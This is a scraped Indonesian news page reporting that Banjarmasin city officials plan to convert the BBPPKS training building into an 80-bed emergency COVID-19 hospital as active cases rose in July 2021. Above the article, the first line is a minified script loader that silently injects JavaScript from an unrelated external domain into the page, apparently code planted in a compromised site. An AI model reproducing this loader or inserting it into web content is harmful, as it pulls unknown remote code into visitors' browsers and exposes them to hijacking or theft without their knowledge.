(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Antisipasi Lonjakan Pasien Covid-19, Pemko Banjarmasin ‘Sulap’ BBPPKS Jadi Rumah Sakit Darurat!


KANALKALIMANTAN.COM, BANJARMASIN– Pemko Banjarmasin mulai menyiapkan satu balai karantina untuk menampung pasien Covid-19. Gedung balai karantina ini dipersiapkan untuk mengantisipasi terjadinya lonjakan kasus di Kota Banjarmasin.

Persiapan mengantisipasi terjadinya lonjakan kasus di Banjarmasin ini sudah semakin matang. Sebab saat ini sudah ada sebanyak 356 kasus aktif di Banjarmasin per Selasa, (13/7/2021).

Untuk mengantisipasi hal tersebut, Pemko Banjarmasin melalui Dinas Sosial (Dinsos) Kota Banjarmasin mempersiapkan satu gedung balai karantina yang mampu menampung sebanyak 80 orang.

Menurut Kepala Dinsos Kota Banjarmasin Iwan Ristianto, kesiapan itu nanti masih belum diketahui apakah akan memakai gedung atau tenda. Tetapi pihaknya siap mendukung wacana dari Pemko Banjarmasin tersebut.

 

 

Baca juga: Polsek Sungai Tabuk Bekuk Tersangka Penganiayaan hingga Korban Meninggal di Sungai Bangkal

“Kalau daya tampung kita bisa 80 orang sementara yang ada tempat tidurnya dan kamar tapi memungkinkan saja lebih dari 80 orang apabila kita modifikasi ruangnya disekat,” terangnya, Selasa (13/7/2021).

Sedangkan untuk kelengkapan alat kesehatan dikatakan Iwan, nantinya menjadi tanggung jawab Dinas Kesehatan (Dinkes). “Masalah kesiapan bangunan itu sudah, yang penting peralatan kesehatan nanti diserahkan ke Dinkes Kota Banjarmasin yang akan memfasilitasi secara operasionalnya,” paparnya.

Gedung Balai Besar Pendidikan dan Pelatihan Kesejahteraan Sosial (BBPPKS) tersebut disampaikan Iwan bahwa sebelumnya telah digunakan sebagai tempat karantina oleh tenaga kesehatan (nakes). Sehingga jika dijadikan rumah sakit darurat pun pihaknya tidak keberatan.

“Kalau misalnya dijadikan rumah sakit darurat tinggal jalan saja sebenarnya karena para nakes sudah menggunakan tempat itu sebagai karantina mandiri hingga saat ini masih digunakan,” ungkapnya.

Sementara itu, Kepala Dinas Kesehatan Kota Banjarmasin, Machli Riyadi menyampaikan bahwa gedung BBPPKS tersebut nantinya dipersiapkan sebagai rumah sakit darurat Covid-19 untuk mengantisipasi lonjakan kasus di Banjarmasin.

“Kita akan menjadikan BBPPKS itu sebagai rumah sakit darurat, di sana ada 80 tempat tidur. Itu masuk plan C jika terburuk. Jadi kita punya 120 tempat tidur di tambah lagi kapasitas rumah sakit tipe C dari jumlah tempat tidur yang ada,” katanya.(Kanalkalimantan.com/shintia)

Reporter: shintia
Editor: cell


Risa

Recent Posts

Peternakan Babi Dekat Kampus UIN Antasari di Guntung Manggis Dikeluhkan

Pemilik Ternak Diminta Datang ke Kantor Satpol PP Banjarbaru Read More

10 menit ago

Rekayasa Pemasangan ATSC, Jalan Pangeran Suriansyah Steril Parkir dan PKL

KANALKALIMANTAN.COM, BANJARBARU - Kawasan pinggir jalan maupun median di Jalan Pangeran Suriansyah, Kota Banjarbaru, Kalimantan… Read More

2 jam ago

Pj Bupati HSU Resmikan TMMD ke-120 di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan secara resmi membuka… Read More

3 jam ago

Sekat Bakar Antisipasi Karhutla Ring 1 Bandara Syamsudin Noor

KANALKALIMANTAN.COM, BANJARBARU - Provinsi Kalimantan Selatan kembali memfokuskan penanganan ancaman kebakaran hutan dan lahan (Karhutla)… Read More

3 jam ago

Buaya di Pelambuan Banjarmasin Gagal Ditangkap, Tiga Kali Terlihat Warga Muncul

KANALKALIMANTAN.COM, BANJARMASIN - Kemunculan seekor buaya di kawasan sungai Kelurahan Pelambuan, Kecamatan Banjarmasin Utara, Kota… Read More

7 jam ago

Ambulans Baru Layanan Puskesmas Keliling di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Dinas Kesehatan (Dinkes) Kota Banjarbaru hadirkan layanan kesehatan yang lebih dekat dengan… Read More

7 jam ago

This website uses cookies.